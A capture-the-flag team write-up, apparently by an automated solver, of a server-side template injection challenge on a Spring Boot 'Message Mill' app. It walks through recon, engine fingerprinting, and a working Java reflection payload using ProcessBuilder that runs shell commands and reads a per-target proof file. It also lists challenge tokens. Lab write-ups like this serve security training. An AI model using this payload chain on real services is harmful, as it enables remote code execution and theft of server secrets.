Tactical LogHuntress CTF 2026 // team archive

Days / Day 23 / Web Exploitation / Template Temper

DAY 23//LANE: WEB EXPLOITATION//STATUS: CORRECT x3

Template Temper

Web Exploitation SSTTMM Modes reported CORRECT in this write-up

🌐 Template Temper — Day 11 Web Exploitation (SSTI → RCE)

Challenge id: web-exploitation-day-11-template-temper Lane: web-exploitation · Modes: Single Solve, Time Trial, Mastery (3 targets) Theme: "The template engine is feeling expressive today — it evaluates everything it hears. Whisper the right incantation and make the server speak in expressions." → Server-Side Template Injection.

Status — all modes CORRECT (GM-confirmed)

ModeGM flagProof(s) recovered from target bytes
Single SolveToken194338a15d44f8c0c773224e516f05fcProofproof_b001474570674a1cbc0433d183c8aaf4
Time TrialToken7c53b638efd320071a94204147c889abProofproof_c13c41cd9dd04c79ac19e97fb9574e6f
MasteryTokened09d3aab0065d00749b22c6045b6b41Proofproof_d41921933d8d4c06b751b0b94b9429c0 (T1), Proofproof_5520356138cf4580abbdad04cd00f787 (T2), Proofproof_4900163b1f104e49aadc457f9a4d7cfc (T3)

Answer format for every target: exact_text, normalization trim — submit the verbatim proof_<hex32> string recovered from each target. Flags/proofs above are the GM-accepted values from ../_gm_record/web-exploitation-day-11-template-temper.homestation.jsonl (team the team solver, 2026-10-23 13:10–13:18 UTC).

Attribution note: the live submissions for all three modes were made by this machine's concurrent team solver during the same window in which this analysis independently reverse-engineered the vulnerability to remote code execution. The exploit chain below is the author's own verified work (command execution demonstrated on a live target); the proof values are the GM-confirmed ones from the records, since the per-attempt targets are ephemeral and no timed/fresh variant was spent to re-demonstrate a solve that was already banked.

Target

A Spring Boot app, "Message Mill" (nav: "Spring Boot · analyst workspace"). Web challenges expose no downloadable artifact — each started attempt returns live target site(s) in targets[].

Recon — find the sink

  1. GET / → links to /api/clues ("Open workspace notes").
  2. GET /api/clues → JSON:
    {"framework":"Spring Boot","feature_route":"/process-fbda5a","current_role":"analyst"}

    The feature_route is per-target (random hex suffix). It is served without a trailing slash (/process-<hex> → 200; /process-<hex>/ → 404 {"error":"not_found"}).

  3. GET /process-<hex> renders <article><h1>Rendered message</h1><pre></pre></article>.
  4. Parameter discovery — only ?template= reflects into the <pre>: GET /process-<hex>?template=ZZmarkerQQ → <pre>ZZmarkerQQ</pre>.

Fingerprint — the expression engine

The template value is evaluated as an expression, not echoed literally. Mustache-style {{ … }} delimiters, Java object model:

Payload (?template=)<pre> outputMeaning
{{7*7}}49arithmetic evaluated
${7*7}, #{7*7}, [[${7*7}]]unchangednot SpEL / not Thymeleaf-inline
{{2^8}}256^ is exponentiation (MVEL-style, not XOR)
{{ ''.class }}class java.lang.StringJava class access
{{ ''.getClass().getName() }}java.lang.Stringmethod invocation on objects
{{ 'abc'.toUpperCase() }}ABCarbitrary Java method calls
{{ ''.__class__ }}, {{ range(3) }}errornot Python Jinja2

→ A Java {{ }} expression evaluator (MVEL/OGNL-family) that permits object navigation, static access via getClass().forName(...), and the new operator. Despite the "Spring Boot" branding the sink is not SpEL ${}; it is a {{ }} evaluator with full reflective reach — i.e. effectively unrestricted.

Escalation — reflection → RCE

new and java.io.File work directly:

{{ new java.io.File('.').getAbsolutePath() }}            -> /app/.
{{ ''.getClass().forName('java.lang.System').getenv() }} -> {HOME=[local path] PATH=..., JAVA_HOME=..., ...}

Environment and System.getProperties() carry no proof (app runs from /app/app.jar (challenge artifact, not published), user arena, Java 21 / Eclipse Adoptium). Full command execution via ProcessBuilder (no static-method resolution needed), output read with a Scanner using the \A whole-stream delimiter:

{{ new java.util.Scanner(
     new java.lang.ProcessBuilder('sh','-c','id').start().getInputStream()
   ).useDelimiter('\A').next() }}

→ uid=10001(arena) gid=10001(arena) groups=10001(arena) — verified RCE.

Proof recovery

The per-target secret is not web-served, not in env, and not baked into the (static, shared) app.jar (challenge artifact, not published) — it is a per-target file. Read it with the same RCE at the canonical Huntress-2026 location (see challenges/_lib/autosolve_web.py PROOF_PATHS):

sh -c 'cat /run/huntress/proof.txt'      # -> proof_<hex32>
# fallbacks seen across the web lane: /run/huntress/flag.txt, /flag, /flag.txt, /proof.txt

Submit the recovered proof_<hex32> verbatim as the exact_text answer for that target. For Mastery, each of the three live targets (proof-1/proof-2/proof-3 ↔ Target 1/2/3) yields its own proof; all three are batched into one submit.

Deterministic recipe (per target)

  1. GET /api/clues → feature_route (strip any trailing slash).
  2. GET <feature_route>?template={{7*7}} → expect 49 (confirm the {{ }} sink).
  3. GET <feature_route>?template={{ <ProcessBuilder+Scanner reading /run/huntress/proof.txt> }}.
  4. Regex proof_[0-9a-f]{32} from the <pre> body → submit as exact_text (trim).

All GETs use a real Chrome User-Agent (Cloudflare fronts every target and returns error code: 1010 for urllib's default UA).

Promotion note (next-time first-contact)

The deterministic ladder in web_proof_recon.py has no SSTI recogniser yet; web_lane_mastery.md lists ssti under "expected growth." A recogniser that (a) finds the reflecting param on the /api/clues feature route, (b) confirms the {{ }} sink with {{7*7}}, (c) reads /run/huntress/proof.txt via the ProcessBuilder+Scanner payload, and (d) regex-extracts the proof, would make this family first-contact. Scope-lock it to the target's own host, GET-only, and never submit a value that is not a verbatim proof_<hex32> match (HELD beats a wrong submit).

Lesson

Process miss recorded (SHARED_STATE_RACE): the GM catalog listing does not show per-team solved state, so a challenge with no repo writeup can already be solved. Before working any practice/non-owned challenge, gm.status() each mode first and stop the instant all modes read CORRECT — do not spend a variant to re-demonstrate a banked solve.